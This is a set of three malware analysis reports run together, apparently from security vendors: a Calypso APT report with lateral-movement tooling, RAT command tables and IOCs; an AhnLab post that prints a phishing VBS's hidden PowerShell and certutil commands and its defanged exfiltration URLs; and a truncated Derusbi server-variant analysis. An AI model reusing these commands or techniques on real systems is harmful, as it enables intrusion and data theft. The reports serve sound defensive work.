They have also identified the organizations hit by the attackers, as well as the attackers C2 servers.
Our data indicates that the group has been active since at least September 2016.
The primary goal of the group is theft of confidential data.
Main targets are governmental institu- tions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey.
Our data gives reason to believe that the APT group is of Asian origin.1 1.
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2 Initial infection vector The attackers accessed the internal network of a compromised organization by using an ASPX web shell.
They uploaded the web shell by exploiting a vulnerability or, alternately, guessing default credentials for remote access.
We managed to obtain live traffic between the attackers and the web shell.
Figure 1.
Part of the recorded traffic The traffic indicates the attackers connected from IP address 46.166.129.241.
That host contains domain tv.teldcomtv.com, the C2 server for the groups trojan.
Therefore the hackers use C2 servers not only to control malware, but also to access hosts on compromised infrastructures.
The attackers used the web shell to upload utilities1 and malware,2 execute commands, and dis- tribute malware inside the network.
Examples of commands from the traffic are demonstrated in the following screenshot.
1.
See the section Lateral movement.
2.
See the section Analyzing Calypso RAT malicious code.
Figure 2.
Commands sent to the web shell 3 Lateral movement The group performed lateral movement by using the following publicly available utilities and exploits: SysInternals Nbtscan Mimikatz ZXPortMap TCP Port Scanner Netcat QuarksPwDump WmiExec EarthWorm OS_Check_445 DoublePulsar EternalBlue EternalRomance On compromised computers, the group stored malware and utilities in either C:\RECYCLER or C:\ProgramData.
The first option was used only on computers with Windows XP or Windows Server 2003 with NTFS on drive C. The attackers spread within the network either by exploiting vulnerability MS17-010 or by using stolen credentials.
In one instance, 13 days after the attackers got inside the network, they used DCSync and Mimikatz to obtain the Kerberos ticket of the domain administrator, passing the ticket to infect more computers.
Figure 3.
Obtaining account data via DCSync Use of such utilities is common for many APT groups.
Most of those utilities are legitimate ones used by network administrators.
This allows the attackers to stay undetected longer.
Attribution In one attack, the group used Calypso RAT, PlugX, and the Byeby trojan.
Calypso RAT is malware unique to the group and will be analyzed in detail in the text that follows.
PlugX has traditionally been used by many APT groups of Asian origin.
Use of PlugX in itself does not point to any particular group, but is overall consistent with an Asian origin.
The Byeby trojan1 was used in the SongXY malware campaign back in 2017.
The version used now is modified from the original.
The group involved in the original campaign is also of Asian origin.
It performed targeted attacks on defense and government-related targets in Russia and the CIS countries.
However, we did not find any clear-cut connection between the two campaigns.
When we analyzed the traffic between the attackers server and the web shell, we found that the attackers used a non-anonymous proxy server.
The X-Forwarded-For header passed the attackers IP address (36.44.74.47).
This address would seem to be genuine (more precisely, the first address in a chain of proxy servers).
1.
unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ 4 https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ The IP address belongs to China Telecom.
We believe the attackers could have been careless and set up the proxy server incorrectly, thus disclosing their real IP address.
This is the first piece of evidence supporting the Asian origins of the group.
Figure 4.
Headers of requests to the web shell Figure 5.
Information on the discovered IP address Figure 6.
IP address found in the DoublePulsar configuration Figure 7.
Information on the discovered IP address The attackers also left behind a number of system artifacts, plus traces in utility configurations and auxiliary scripts.
These are also indicative of the groups origin.
For instance, one of the DoublePulsar configuration files contained external IP address 103.224.82.47, presumably for testing.
But all other configuration files contained internal addresses.
This IP address belongs to a Chinese provider, like the one before, and it was most likely left there due to the attackers carelessness.
This constitutes additional evidence of the groups Asian origins.
5 We also found BAT scripts that launched ZXPortMap and EarthWorm for port forwarding.
Inside we found network indicators www.sultris.com and 46.105.227.110.
Figure 8.
Network indicators found in the BAT scripts The domain in question was used for more than just tunneling: it also served as C2 server for the PlugX malware we found on the compromised system.
As already mentioned, PlugX is tradition- ally used by groups of Asian origin, which constitutes yet more evidence.
Therefore we can say that the malware and network infrastructure used all point to the group having an Asian origin.
Analyzing Calypso RAT malicious code The structure of the malware and the process of installing it on the hosts of a compromised net- work look as follows: Figure 9.
Malware structure and installation process Dropper The dropper extracts the payload as an installation BAT script and CAB archive, and saves it to disk.
The payload inside the dropper has a magic header that the dropper searches for.
The fol- lowing figure shows an example of the payload structure.
6 Figure 10.
Structure of the payload hard-coded in the dropper Figure 12.
Example of installation script obfuscation Figure 11.
Dropper with original encryption and decryption algorithm The dropper encrypts and decrypts data with a self-developed algorithm that uses CRC32 as a pseudorandom number generator (PRNG).
The algorithm performs arithmetic (addition and subtraction) between the generated data and the data that needs to be encrypted or decrypted.
Now decrypted, the payload is saved to disk at ALLUSERSPROFILE\TMP_dd, where the last two numbers are replaced by random numbers returned by the rand() function.
Depending on the configuration, the CAB archive contains one of three possibilities: a DLL and encrypted shellcode, a DLL with encoded loader in the resources, or an EXE file.
We were unable to detect any instances of the last variant.
Installation BAT script The BAT script is encoded by substitution from a preset dictionary of characters this dictionary is initialized in a variable in the installation script.
In the decoded script, we can see comments hinting at the main functions of the script: REM Goto temp directory extract file (go to TEMP directory and extract files there) REM Uninstall old version (uninstall the old version) REM Copy file (copy file) REM Run pre-install script (run the installation BAT script) REM Create service (create a service launching the malware at system startup) REM Create Registry Run (create value in the registry branch for autostart) 7 At the beginning of each script we can see a set of variables.
The script uses these variables to save files, modify services, and modify registry keys.
Figure 13.
Initializing variables in deobfuscated script Figure 14.
Early version of the script with comments In one of the oldest samples, compiled in 2016, we found a script containing comments for how to configure each variable.
8 Shellcode x86: stager In most of the analyzed samples, the dropper was configured to execute shellcode.
The dropper saved the DLL and encrypted shellcode to disk.
The shellcode name was always identical to that of the DLL, but had the extension .dll.crt.
The shellcode is encrypted with the same algorithm as the payload in the dropper.
The shellcode acts as a stager providing the interface for communi- cating with C2 and for downloading modules.
It can communicate with C2 via TCP and SSL.
SSL is implemented via the mbed_tls library.
Initial analysis of the shellcode revealed that, in addition to dynamically searching for API func- tions, it runs one more operation that repeats the process of PE file address relocation.
The structure of the relocation table is also identical to that found in the PE file.
Figure 15.
Shellcode relocations Figure 16.
Debugging information inside the shellcode Figure 17.
Example of shellcode configuration Since the process of shellcode address relocation repeats that of the PE file, we can assume that initially the malware is compiled into a PE file, and then the builder turns it into shellcode.
Debugging information found inside the shellcode supports that assumption.
API functions are searched for dynamically and addresses are relocated, after which the config- uration hard-coded inside the shellcode is parsed.
The configuration contains information about the C2 server address, protocol used, and connection type.
Next the shellcode creates a connection to C2.
A random packet header is created and sent to C2.
In response the malware receives a network key, saves it, and then uses it every time when com- municating with C2.
Then the information about the infected computer is collected and sent to C2.
Next three threads are launched.
One is a heartbeat sending an empty packet to C2 every 54 seconds.
The other processes and executes commands from C2.
As for the third thread, we could not figure out its purpose, because the lines implementing its functionality were removed from the code.
All we can tell is that this thread was supposed to wake up every 54 seconds, just like the first one.
9 Modules We have not found any modules so far.
But we can understand their functionality by analyzing the code responsible for communication between the shellcode and the modules.
Each module is shellcode which is given control over the zero offset of the address.
Each module exists in its own separate container.
The container is a process with loaded module inside.
By default, the process is svchost.exe.
When a container is created, it is injected with a small shellcode that caus- es endless sleep.
This is also hard-coded in the main shellcode, and more specifically in JustWait.
pdb, most likely.
The module is placed inside with an ordinary writeprocess and is launched either with NtCreateThreadEx or, on pre-Vista operating systems, CreateRemoteThread.
Two pipes are created for each module.
One is for transmitting the data from the module to C2 the other for receiving data from C2.
Quite likely the modules do not have their own network code and instead use the pipes to communicate with external C2 through the main shellcode.
Figure 18.
Creating pipes for modules Each module has a unique ID assigned by C2.
Containers are launched in different ways.
A con- tainer can be launched in a specific session open in the OS or in the same session as the stager.
In any particular session, the container is launched by getting the handle for the session token of a logged-in user, and then launching the process as that user.
10 Figure 19.
Creating container process in a different session Commands The malware we studied can process 12 commands.
All of them involve modules in one way or another.
Here is a list of all IDs of commands found in the malware, along with those that the mal- ware itself sends in various situations.
ID Direction Type Description 0x401 From 2 Command Create module descriptor.
This command contains information on the module size and ID.
It also allo- cates memory for the module data.
The command is likely the first in the chain of commands used for loading a module 0x402 From 2 Command Accept module data, and if all data is accepted, launch the module inside a container running in the same session as the stager 0x403 From 2 Command Same as 0x402, but the module is launched in a container running in a different session 0x404 From C2 Command Write data to pipe for module launched inside a con- tainer running in the same session as the stager 0x405 From 2 Command Write data to pipe for module launched inside a container in a different session 0x409 From 2 Command Generate a constant by calling GetTickCount() and save it.
This constant is used in the third thread, mentioned already, whose purpose we were unable to discern 0201 From 2 Command Launch the module if the buffer size stored in the module descriptor equals the module size.
Does not accept data (unlike commands 0402 and 0403).
The module is launched inside a container running in the same session as the stager 11 0202 From 2 Command Same as 0x201, but the module is launched in a con- tainer running in a different session 0203 From 2 Command Close all pipes related to a specific module running inside a container launched in the same session as the stager 0204 From 2 Command Same as 0x203, but for a module running in a con- tainer launched in a different session 0x206 From 2 Command Collect information on sessions open in the system (such as session IDs and computer names) and send it to C2 0207 From 2 Command Assign session ID.
This ID will be used to launch con- tainers in this session 0x409 From the malware Response ID used in empty heartbeat packets (the first thread described earlier) 0x103 From the malware Response ID of packet containing information on the infected computer 0x302 From the malware Response ID of packet sent after an accepted session ID is saved (command 0x207) 0304 From the malware Response ID of packet sent after module is successfully placed inside a container.
This code is sent after the module is launched in a different session 0303 From the malware Response Same as 0x304, but the module is launched in the same session as the stager 0x406 From the malware Response ID of packet containing data piped by module in a container launched in the same session as the stager 0x407 From the malware Response Similar to 0x406, but from a module launched in a different session 0x308 From the malware Response ID of packet sent if no handle of a logged-in users session token could be obtained 0x408 From the malware Response ID of packet sent if session-related information could not be obtained.
Before the packet is sent, the shellcode checks the OS version.
If the version is earlier than Vista, data is regarded as impossible to obtain in the manner implemented in the malware, because the Windows API functions it uses are pres- ent only in Vista and later.
12 Network code Network communication is initialized after the network key is received from C2.
To do that, the malware sends a random sequence of 12 bytes to C2.
In response the malware also expects 12 bytes, the zero offset of which must contain the same value (_DWORD) as prior to sending.
If the check is successful, four bytes at offset 8 are taken from the response and decrypted with RC4.
The key is four bytes sent previously, also located at offset 8.
This result is the network key.
The key is saved and then used to send data.
All transmitted packets have the following structure.
A random four-byte key is generated for each packet.
It is later used to encrypt part of the header, starting with the cmdld field.
The same key is used to encrypt the packet payload.
Encryption uses the RC4 algorithm.
The key itself is encrypted by XOR with the network key and saved to the corresponding field of the packet header.
Shellcode x64: stager (base backdoor) This shellcode is very similar to the previous one, but it deserves a separate description because of differences in its network code and method of launching modules.
This shellcode has basic functions for file system interaction which are not available in the shellcode described earlier.
Also the configuration format, network code, and network addresses used as C2 by this shellcode are similar to code from a 2018 blog post by NCC Group about a Gh0st RAT variant.
However, we did not find a connection to Gh0st RAT.
This variant of the shellcode has only one communication channel, via SSL.
The shellcode imple- ments it with two legitimate libraries, libeay32.dll and ssleay32.dll, hard-coded in the shellcode itself.
First the shellcode performs a dynamic search for API functions and loads SSL libraries.
The libraries are not saved to disk they are read from the shellcode and mapped into memory.
Next the malware searches the mapped image for the functions it needs to operate.
Then it parses the configuration string, which is also hard-coded in the shellcode.
The configura- tion includes information on addresses of C2 servers and schedule for malware operation.
1.
nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/ decoding-network-data-from-a-gh0st-rat-variant/ struct Packet struct PacketHeader _ DWORD key _ WORD cmdId _ WORD szPacketPayload _ DWORD moduleId _ BYTE [max 0xF000] packetPayload Figure 20.
Sample of configuration string Days of the week 13 https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-fr https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-fr After that the malware starts its main operating cycle.
It checks if the current time matches the malware operational time.
If not, the malware sleeps for about 7 minutes and checks again.
This happens until the current time is the operational time, and only then does the malware resume operation.
Figure 20 demonstrates an example in which the malware remains active at all times on all days of the week.
When the operational time comes, the malware goes down the list of C2 servers specified in the configuration and tries to connect.
The malware subsequently interacts with whichever of the C2 servers it is able to successfully connect to first.
Then the malware sends the information on the infected computer (such as computer name, current date, OS version, 32-bit vs. 64-bit OS and CPU, and IP addresses on network interfaces and their MAC addresses).
After the information on the infected computer is sent, the malware expects a response from C2.
If C2 returns the relevant code, sending is deemed successful and the malware proceeds.
If not, the malware goes back to sequentially checking C2 addresses.
Next it starts processing incoming commands from C2.
Modules Each module is a valid MZPE file mapped in the address space of the same process as the shell- code.
Also the module can export the GetClassObject symbol, which receives control when run (if required).
Each module has its own descriptor created by a command from C2.
The C2 server sends a byte array (0x15) describing the module.
The array contains information on the module: whether the module needs to be launched via export, module type (in other words, whether it needs pipes for communicating with C2), module size, entry point RVA (used if there is no flag for launching via export), and module data decryption key.
The key is, by and large, the data used to format the actual key.
Figure 21.
Module decryption We should also point out that decryption takes place only if modKey is not equal to the 7AC9h constant hard-coded in the shellcode.
This check affects only the decryption process.
If modKey does equal the constant, the malware will immediately start loading the module.
This means the module is not encrypted.
14 Each module is launched in a separate thread created specially for that purpose.
Launching with pipes looks as follows: The malware creates a thread for the module, starts mapping the module, and gives it con- trol inside the newly created thread.
The malware creates a new connection to the current working C2.
The malware creates a pipe with the name derived from the following format string: \\.\ pipe\windows02XMon (02X is replaced by a value that is received from 2 at the same time as the command for launching the module).
The malware launches two threads passing data from the pipe to C2 and vice versa, using the connection created during the previous step.
Two more pipes, \\.\pipe\win- dows02Xfir and \\.\pipe\windows02Xsec, are created inside the threads.
The pipe ending in fir is used to pass data from the module to C2.
The pipe ending in sec is used to pass data and commands from C2 to the modules.
The second thread processing the commands from C2 to the modules has its own handler.
This is described in more details in the Commands section.
For now we can only say that one of the commands can start a local asynchronous TCP server.
That server will accept data from whoever connects to it, send it to C2, and forward it back from C2.
It binds to 127.0.0.1 at whichever port it finds available, starting from 5000 and trying possible ports one by one.
Commands The following is a list of IDs for commands the malware can receive, along with commands the malware itself sends in various situations.
ID Direction Type Description 0x294C From 2 Command Create module descriptor 0x2AC8 From 2 Command Receive data containing the module, and save it 0x230E From 2 Command Launch module without creating additional pipes 0x2D06 From 2 Command Destroy module descriptor object 0x590A From 2 Command Launch built-in module for file system access 0x3099 From 2 Command Launch module and create additional pipes for communication 0x1C1C From 2 Command Self-removal: run a BAT script removing persistence and clearing the created directories 0x55C3 From 2 Command Upload file from computer to C2 0x55C5 From 2 Command List directories recursively 15 0x55C7 From 2 Command Download file from C2 to computer 0x3167 From 2 Command Write data to pipe ending in Mon 0x38AF From 2 Command Write command 0x38AF to pipe ending in Mon.
After that, end the open connection for the module.
Possibly means complete module operation 0x3716 From 2 Command Send module data to a different module 0x3A0B From 2 Command Same as 0x3099 0x3CD0 From 2 Command Start an asynchronous TCP server to shuttle data between C2 and connected client 0x129E From the malware Response ID of a packet containing information about the computer 0x132A From 2 Response ID of the packet sent by C2 in response to information sent regarding the infected computer.
The malware treats receipt of this packet as confirming successful receipt of such information 0x155B From the malware Response ID of the packet containing information regarding the initialized module descriptors.
The packet acts as GetCommand.
Response to this packet contains one of the supported commands 0x2873 From the malware Response ID of the packet that is sent if a module descriptor has been initialized successfully (0x294c) 0x2D06 From the malware Response ID of the packet that is sent if an error has occurred during module descriptor initialization (0x294c) 0x2873 From the malware Response the packet that is sent after module data has been received (0x2AC8).
Contains the amount of bytes already saved 0x2743 From the malware Response ID of the packet that is sent after a module is launched without pipes (0x230E) 16 0x2D06 From the malware Response ID of the packet that is sent after a module descriptor has been destroyed (0x2D06) 0x3F15 From the malware Response ID of the packet that is sent after a module is launched with pipes 0x32E0 From the malware Response ID of the packet that is sent if there has been an attempt to reinitialize the pipes already created for a module 0x34A7 From the malware Response ID of the packet containing the data sent from the pipe to C2 0x9F37 From the malware Response ID of the packet containing the data forwarded from the TCP server to C2 Network code Each packet has the following structure: Struct Packet Struct Header _ DWORD rand _ k1 _ DWORD rand _ k2 _ DWORD rand _ k3 _ DWORD szPaylaod _ DWORD protoConst _ DWORD packetId _ DWORD unk1 _ DWORD packetKey _ BYTE [max 0x2000] packetPayload Each packet has a unique key calculated as szPayload GetTickCount() hardcodedConst.
This key is saved in the corresponding packetKey header field.
It is used to generate another key for encrypting the packet header with RC4 (encryption will not occur without the packetKey field).
RC4 key generation is demonstrated in the following figure.
17 Figure 22.
Generating RC4 key for the header Then yet another RC4 key is generated from the encrypted fields szPayload, packetId, proto- Const, and rand_k3.
This key is used to encrypt the packet payload.
Figure 23.
Generating RC4 key for the packet payload 18 Next the shellcode forms the HTTP headers and the created packet is sent to C2.
In addition, each packet gets its own number, indicated in the URL.
Modules may pass their ID, which is used to look up the connection established during module launch.
Module ID 0 is reserved for the main connection of the stager.
Figure 24.
Forming HTTP headers Other options As we noted, the dropper may be configured to launch not just shellcode, but executable files too.
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We found the same dropper-stager but with different payloads: Hussar and FlyingDutchman.
Dropper-stager The main tasks of this dropper are unpacking and mapping the payload, which is encoded and stored in resources.
The dropper also stores encoded configuration data and passes it as a parameter to the payload.
Figure 25.
Unpacking the payload 19 Hussar In essence Hussar is similar to the shellcodes described earlier.
It allows loading modules and collecting basic information about the computer.
It can also add itself to the list of authorized applications in Windows Firewall.
Initialization To start, the malware parses the configuration provided to it by the loader.
Figure 26.
Configuration sample Configuration structure is as follows: Struct RawConfig _ DWORD protocolId _ BYTE c2Strings [0x100] The protocolId field indicates the protocol to be used for communicating with C2.
There are a total of three possibilities: If protocolId equals 1, a TCP-based protocol will be used.
If protocolId equals 2, the protocol will be HTTP-based.
If protocolId equals 3, it will be HTTPS-based.
The time stamp is calculated from the registry from the key SOFTWARE\Microsoft\Windows\ CurrentVersion\Telephony (Perf0 value).
If reading the time stamp is impossible, temp is added to the computer identifier.
Figure 27.
Generating computer ID 20 Next Hussar creates a window it will use for processing incoming messages.
Figure 28.
Creating dispatcher window Then the malware adds itself to the list of authorized applications in Windows Firewall, using the INetFwMgr COM interface.
To complete initialization, Hussar creates a thread which connects to C2 and periodically polls for commands.
The function running in the thread uses the WSAAsyncSelect API to notify the window that actions can be performed with the created connection (socket is ready for reading, connected, or closed).
Figure 29.
Communication between the open socket and the window In general, for transmitting commands, the malware uses the window and Windows messaging mechanism.
The window handle is passed to the modules, and the dispatcher has branches not used by the stager, so we can assume that the modules can use the window for communication with C2.
21 Identifier Direction Type Description 0x835 From 2 Command Collect information on the infected comput- er (such as OS version, user name, computer name, and string containing current time and processor name based on registry data, plus whether the OS is 64-bit) 0x9CA4 From 2 Command Load module.
Module data comes from C2 0xC358 (Window MSG Code) ??
?
Command Transmit data from LPARAM to C2 0xC359 (Window MSG Code) ??
?
Command Transmit C2 configuration to the module.
Module ID is transmitted to LPARAM 0x834, 0x835, 0x838, 0x9CA4, none of these ??
?
Command Transmit the received packet to the module.
Module ID is sent from C2 Modules Each module is an MZPE file loaded into the same address space as the stager.
The module must export the GetModuleInfo function, which is called by the stager after image mapping.
22 FlyingDutchman The payload provides remote access to the infected computer.
It includes functions such as screenshot capture, remote shell, and file system operations.
It also allows managing system processes and services.
It consists of several modules.
Module ID CMD ID Direction Type Description 0xafc8 0xAFD3 From 2 Command Module ping 0xAFD4 From 2 Command Sends information about the infected comput- er (such as OS version and installed service packs, processor name, string containing cur- rent time and screen resolution, and informa- tion about free and used disk space) 0xAFD5 From 2 Command Sends list of processes running on the system 0xAFD7 From 2 Command End process.
Process PID is transmitted from C2 0xAFD9 From 2 Command Sends list of current windows on the system, along with their titles 0xAFDA From 2 Command Send WM_CLOSE message to a specific window 0xAFDB From 2 Command Maximize window 0xAFDC From 2 Command Minimize window 0xAFDD From 2 Command Show window 0xAFDE From 2 Command Hide window 23 0xAFE0 From 2 Command Sends list of current services on the system 0xAFE1 From 2 Command Modifies the status of an existing service.
Service name is obtained from C2.
It can launch a service or change its status to STOP, PAUSE, or CONTINUE.
C2 indicates which status to change to 0xAFE2 From 2 Command Delete existing service.
Service name is re- ceived from C2 0xAFE3 From 2 Command Change service start type.
Service name is received from C2 0xabe0 0xABEB From 2 Command Module ping 0xABEC From 2 Command Launch the process for transmitting screen- shots from the infected computer.
Screenshots are taken every second 0xABED From 2 Command Pause screenshot capture process 0xABF1 From 2 Command Stop taking screenshots.
The module stops running 0xa7f8 0xA803 From 2 Command Run cmd.exe plus a thread, which will read console output data from the related pipe and send it to C2 0xA804 From 2 Command Write command to the pipe linked to STDIN of the cmd.exe created previously 0xA805 From 2 Command Stop the cmd.exe process and all associated pipes.
The module stops running 0xa410 0xA41B From 2 Command Sends information about system disks and their types 24 0xA41C From 2 Command Sends directory listing.
The relevant directory path is obtained via C2 0xA41E From 2 Command Upload file from the computer to C2 0xA41F From 2 Command Run file 0xA420 From 2 Command Delete file 0xA421 From 2 Command Download file from C2 0xA424 From 2 Command Move file 0xA425 From 2 Command Create directory 0xA426 From 2 Command File Touch 0xA428 From 2 Command Sends the size of a file to C2.
File path is passed via C2 25 Conclusion The group has several successful hacks to its credit, but still makes mistakes allowing us to guess its origins.
All data given here suggests that the group originates from Asia and uses malware not previously described by anyone.
The Byeby trojan links the group to SongXY, encountered by us previously, which was most active in 2017.
We keep monitoring the activities of Calypso closely and expect the group will attack again.
Indicators of compromise Network 23.227.207.137 45.63.96.120 45.63.114.127 r01.etheraval.com tc.streleases.com tv.teldcomtv.com krgod.qqm8.com File indicators Droppers and payload C9C39045FA14E94618DD631044053824 Dropper E24A62D9826869BC4817366800A8805C Dll F0F5DA1A4490326AA0FC8B54C2D3912D Shellcode CB914FC73C67B325F948DD1BF97F5733 Dropper 6347E42F49A86AFF2DEA7C8BF455A52A Dll 0171E3C76345FEE31B90C44570C75BAD Shellcode 17E05041730DCD0732E5B296DB16D757 Dropper 69322703B8EF9D490A20033684C28493 Dll 22953384F3D15625D36583C524F3480A Shellcode 1E765FED294A7AD082169819C95D2C85 Dropper C84DF4B2CD0D3E7729210F15112DA7AC Dll ACAAB4AA4E1EA7CE2F5D044F198F0095 Shellcode 26 Droppers with the same payload 85CE60B365EDF4BEEBBDD85CC971E84D dropper 1ED72C14C4AAB3B66E830E16EF90B37B dropper CB914FC73C67B325F948DD1BF97F5733 dropper 43B7D48D4B2AFD7CF8D4BD0804D62E8B 617D588ECCD942F243FFA8CB13679D9C 5199EF9D086C97732D97EDDEF56591EC 06C1D7BF234CE99BB14639C194B3B318 Payload without dropper E3E61F30F8A39CD7AA25149D0F8AF5EF Dll 974298EB7E2ADFA019CAE4D1A927AB07 Shellcode AA1CF5791A60D56F7AE6DA9BB1E7F01E Dll 05F472A9D926F4C8A0A372E1A7193998 Shellcode 0D532484193B8B098D7EB14319CEFCD3 Dll E1A578A069B1910A25C95E2D9450C710 Shellcode 2807236C2D905A0675878E530ED8B1F8 Dll 847B5A145330229CE149788F5E221805 Shellcode D1A1166BEC950C75B65FDC7361DCDC63 Dll CCE8C8EE42FEAED68E9623185C3F7FE4 Shellcode Hussar FlyingDutchman 27 MITRE ATTCK Tactic ID Name Execution T1059 Command-Line Interface Persistence T1060 Registry Run Keys / Startup Folder T1053 Scheduled Task T1158 Hidden Files and Directories Defense Evasion T1027 Obfuscated Files or Information T1085 Rundll32 T1064 Scripting Credential Access T1003 Credential Dumping Discovery T1087 Account Discovery T1046 Network Service Scanning T1135 Network Share Discovery T1082 System Information Discovery Lateral Movement T1097 Pass the Ticket Collection T1114 Email Collection T1113 Screen Capture T1005 Data from Local System Command And Control T1043 Commonly Used Port T1024 Custom Cryptographic Protocol T1001 Data Obfuscation Positive Technologies is a leading global provider of enterprise security solutions for vulnerability and compliance manage- ment, incident and threat analysis, and application protection.
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ptsecurity.com infoptsecurity.com Calypso APT_A4.ENG.0002.02 https://www.ptsecurity.com/ww-en/ mailto:info40ptsecurity.com?subject Calypso APT Initial infection vector Lateral movement Attribution Analyzing Calypso RAT malicious code Dropper Installation BAT script Shellcode x86: stager Modules Commands Network code Shellcode x64: stager (base backdoor) Modules Commands Network code Other options Dropper-stager Hussar Initialization Modules FlyingDutchman Conclusion Indicators of compromise Network File indicators Droppers and payload Droppers with the same payload Payload without dropper Hussar FlyingDutchman MITRE ATTCK
1/6 March 29, 2022 APT attack disguised as North Korean defector resume format (VBS script) asec.ahnlab.com/ko/33141 The ASEC analysis team recently confirmed that malicious VBS for the purpose of information leakage is being distributed through phishing emails related to North Korea.
It contains the contents of a broadcast related to North Korea, and a compressed file is attached.
Referring to writing a resume, induce execution of the attached file.
A malicious VBS script file exists inside the compressed file.
Figure 1.
dissemination email https://asec.ahnlab.com/ko/33141/ 2/6 Figure 2.
attached compressed file The brief behavior of the 2022 resume form.vbs file is as follows.
Information Collection and Transmission Generating a normal Korean file Creating additional malicious script files and registering the task scheduler When the VBS file is executed, information of the users PC is collected through the following command.
Information Collected command List of currently running processes cmd /c tasklist /v clip routing table information cmd /c Route print clip About Program Files folder cmd /c dir /w SystemRoot/../Program Files clip About Program Files (x86) folder cmd /c dir /w SystemRoot/../Program Files (x86) clip Table 1.
Information Collected After encoding the collected information in Base64, it is transmitted to hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php.
Parameter value: CacheerrorSand[User name]Data[base64-encoded collection information]Em[base64-encoded user name] 3/6 Also, in order to disguise as a normal file, the Korean file created with the 2022.hwp command is executed in the folder where the 2022 resume form.vbs file is executed.
The Korean file contains the contents of the resume format as follows.
Figure 3.
Hangul file inside 4/6 Figure 4.
Hangul file properties After that, the data present in the response received from the URL that transmitted the information is executed using PowerShell.
Also, the appdata\mscornet.vbs file created through the corresponding response is registered in the task scheduler as the Google Update Source Link name.
In addition to this, copy mscornet.vbs to the startup program folder so that the VBS file can be executed automatically, and then self-delete the 2022 resume form.vbs file.
5/6 Figure 5.
created task scheduler Currently, no special response is received from hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php, which sent the information, but the received response recorded in RAPIT, our automatic analysis system (confirmed on 3/26) ) contains additional commands.
In the response message, use PowerShell to save base64-encoded data in AppData\KB3241.tmp.
After that, KB3241.tmp is decoded and saved as AppData\mscornet.vbs, and then KB3241.tmp is deleted.
powershell -w hidden ECHO OFF echo RnVuY3Rpb24gaDJzKGgpDQogIERpbSBhIDogYSA9IFNwbGl0KGgpDQogIERpbSBp AppData\KB3241.tmp echo DQogIEZvciBpID0gMCBUbyBVQm91bmQoYSkNCiAgICAgIGEoaSkgPSBDaHIoIiYi AppData\KB3241.tmp echo ZSINCmtpbGxQcm9jZXNzICJpZWxvd3V0aWwuZXhlIg AppData\KB3241.tmp certutil -f -decode AppData\KB3241.tmp AppData\mscornet.vbs del AppData\KB3241.tmp mscornet.vbs connects to hxxp://cmaildowninvoice.webcindario[.
]com/contri/sqlite/msgbugGlog.php?
CachefailSand[PC name] and executes the received response with the Execute command.
Currently, additional commands are not identified in the URL, but various malicious actions can be performed by an attacker.
Recently, malicious codes disguised as North Korea-related contents are being distributed in the form of VBS scripts as well as word documents, so user attention is required.
6/6 Currently, AhnLab V3 product diagnoses the file as follows.
[
File Diagnosis] Dropper/VBS.Generic Trojan/VBS.Agent [IOC] ab97956fec732676ecfcedf55efadcbc e49e41a810730f4bf3d43178e4c84ee5 hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php hmsp ://cmaildowninvoice.webcindario/sqlite/contrig.
Related IOCs and related detailed analysis information can be checked through AhnLabs next-generation threat intelligence platform AhnLab TIP subscription service.
Categories: Malware information Tagged as: VBScript https://atip.ahnlab.com/main https://asec.ahnlab.com/ko/category/malware/ https://asec.ahnlab.com/ko/tag/vbscript/
Derusbi (Server Variant) Analysis Overview There are two types of Derusbi malware: a client-server model and a server-client model.
Both types provide basic RAT functionality with the distinction between the two being largely the directionality of the communication.
This report will focus on the server-client variant (or simply, the server variant) of Derusbi, which acts as a server on a victims machine and waits for commands from a controlling client.
In and of itself, the Derusbi server variant is a largely unremarkable RAT when viewed from the perspective of functional capabilities.
The server variant supports basic RAT functionality such as file management (uploading and downloading), network tunneling and remote command shell.
What makes the server variant interesting is the device driver that the variant installs.
The server variant utilizes a device driver in order to hook into the Windows firewall by either using largely undocumented Windows Firewall hooking techniques found in Windows XP and older or by using the documented Windows Filtering Platform found in Windows Vista and later.
The driver, after hooking the firewall using either of the two mentioned interfaces, will inspect incoming network packets.
If a specific handshake occurs between the client and the server variant, the remainder of the communication session for the established session will be redirected to the server variant.
If the driver does not detect the appropriate handshake, then the network traffic is allowed to pass unobstructed.
This allows an attacker to hide their communication within a cluster of network sessions originating from a single IP such as would be the case for a client performing multiple HTTP requests against a web server.
Startup Sequence The server variant runs as a svchost dependent service.
While the server variant binary does have exports related to the standard service DLL (e.g.
ServiceMain, DllRegisterService, etc.
),
the startup sequence truly begins in the DllEntryPoint function.
When loaded into memory via a LoadLibrary or equivalent function call, the server variant will determine the name of the host binary (presumably svchost.exe) as well as its own DLLs name.
The binary then spawns a new thread that contains the main server variant code in order to allow the DllEntryPoint routine to return to the calling function.
Within the main server variant function (dubbed mainThread), the server variant loads a pointer to the API function GetCommandLineW, locates the pointer in memory to the command line string, and then locates the first space within the command line string and terminates the string by placing a NULL character at the location.
The server variant then attempts to determine if it has suitable access rights within the system in order to operation.
The check for access rights effectively checks to see if the server variant process is running under the NT Authority.
If the check is unsuccessful, then the server variant terminates.
With the command line patched and authority verified, the server variant sleeps for 5 seconds before verifying that the fShutdown flag is not set.
The fShutdown flag can become set by the process loading the server variant calling the DllRegisterServer export.
The DllRegisterServer function, among other tasks, will attempt to install the server variant as a server on the victims machine.
Therefore, by waiting 5 seconds before continuing the mainThread functionality, the server variant is giving the DllRegisterServer time to activate and perform the necessary operations to ensure that the server variant is properly installed and activated as a service.
The mainThread calls the mainLoop function of the server variant.
The mainLoop function begins by loading the unique infection ID for the victims machine from the registry (under the key value located at HKLM\SOFTWARE\Microsoft\Rpc\Security).
The infection ID, if present, must be decoded by XORing each byte of the string with a static byte value (typically 0x5F).
If the infection ID does not exist within the registry, the server variant will attempt to load the configuration from an encoded buffer located immediately after the static string XXXXXXXXXXXXXXX, decode the buffer by starting at the last byte and XORing each previous byte by the current byte value in reverse order the server variant will then use a specific portion of the configuration blob as the infection IDs base.
Next, the server variant will append a hyphen and a four digit value to the end of the infection ID to generate the unique infection ID for the victims machine.
